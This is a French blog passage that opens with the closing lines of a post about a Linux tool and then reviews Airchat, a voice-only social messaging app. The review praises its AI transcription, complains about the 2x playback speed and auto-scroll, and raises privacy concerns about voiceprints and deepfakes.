Et puis soyons honnêtes, nous les linuxiens on est un peu maso sur les bords. On aime bien quand c’est compliqué et qu’il faut batailler pour faire un truc. Alors un outil qui simplifie les choses, ça va en rebuter plus d’un ! Mais je suis sûr que ça peut rendre service à pas mal de monde malgré tout.

En attendant, amusez-vous bien et n’oubliez pas : dans le doute, RTFM ! 😄

Source

Depuis son lancement en version bêta il y a quelques jours, Airchat, cette application de messagerie entièrement vocale fait un buzz d’enfer dans la Silicon Valley.

C’est vraiment un concept aussi original que bizarre (c’est mon avis) puisque l’idée, c’est de permettre aux utilisateurs de communiquer uniquement par messages audio asynchrones, un peu à la manière des bons vieux répondeurs d’antan. Concrètement, sur votre fil d’actualité, défilent des blocs de texte qui sont en fait des transcriptions de messages vocaux et si vous voulez réagir, pas besoin de clavier : vous appuyez sur un bouton, vous enregistrez votre voix, et hop, c’est envoyé ! Vous pouvez également poster des photos et des vidéos si vous le souhaitez.

Je l’ai testé (mon pseudo c’est korben.info) et c’est vrai que l’interface utilisateur est similaire à d’autres plateformes de médias sociaux. On peut suivre d’autres utilisateurs, faire défiler un flux de publications, puis répondre, aimer et partager ces publications. C’est Twitter, c’est Threads, c’est Bluesky… Sauf que la grande différence, c’est que tout se fait à la voix !

Ce qui est bluffant, c’est quand même la qualité de la transcription des messages audio. L’app utilise de l’IA pour ça, et franchement, ça marche hyper bien, même en français ! J’ai eu très peu de « bug » de transcription pendant mes tests.

Et niveau ambiance, pour l’instant ça se la touche beaucoup en mode « Vocal Fry from Silicon Valley », donc j’espère que des franc-comtois vont rapidement s’emparer de l’application pour rafraichir un peu ça. Mais ça ouvre pas mal de débats avec des conversations intéressantes.

Bon après, j’ai quand même quelques petites réserves hein. Déjà, la vitesse de lecture par défaut est en 2x. Alors ok, ça permet d’aller plus vite, mais ça gâche un peu l’expérience. On a l’impression d’écouter parfois des robots. Le défilement automatique des messages est également un peu chiant, avec un petit retour haptique à chaque message qu’on passe, et parfois des enchainements vers le message suivant qu’on n’a pas souhaité.

Maintenant reste à voir comme ça va se passer. Parce que autant, écrire de la merde sur Twitter (oui, j’aime pas dire X) c’est facile. Autant bablater toute la journée à l’oral avec ses amis ou de parfait inconnus sur ce genre de réseau, j’ai pas l’impression que ce soit naturel pour tout le monde, hormis les gens déjà habitués à parler en public ou en podcast.

Mais bon, on verra bien. AirChat reste quand même une belle surprise qui dépoussière un peu le concept de réseau social. Si Twitter c’est du « micro-blogging » comme on disait à l’époque, et bien pour moi Airchat c’est du « micro-podcasting ». Après je me pose plein de questions sur ce qu’ils vont faire de nos empreintes vocales, si ça ne va pas permettre à la NSA d’encore plus nous profiler dans leurs grandes bases de données, ou si des mafieux vont pas pouvoir s’en servir pour alimenter des deepfakes vocaux à grande échelle. Tellement d’interrogations, et j’ai même pas encore bu mon café.

Par contre, si vous voulez rejoindre la bêta fermée, il faudra vous faire inviter par l’un de vos amis.

En attendant, comme d’hab, je vais voir comment ça se développe avant d’aller rajouter des banalités sur cet espace mais j’ai déjà des idées à la con, comme ralentir l’audio avant de le publier pour avoir quelque chose de plus naturel, et proposer des threads geek épiques façon Reflets d’Acide ou ASMR ou je sais pas, j’ai trop d’idées débiles… raaaah.

Le silence est d’or de toute façon.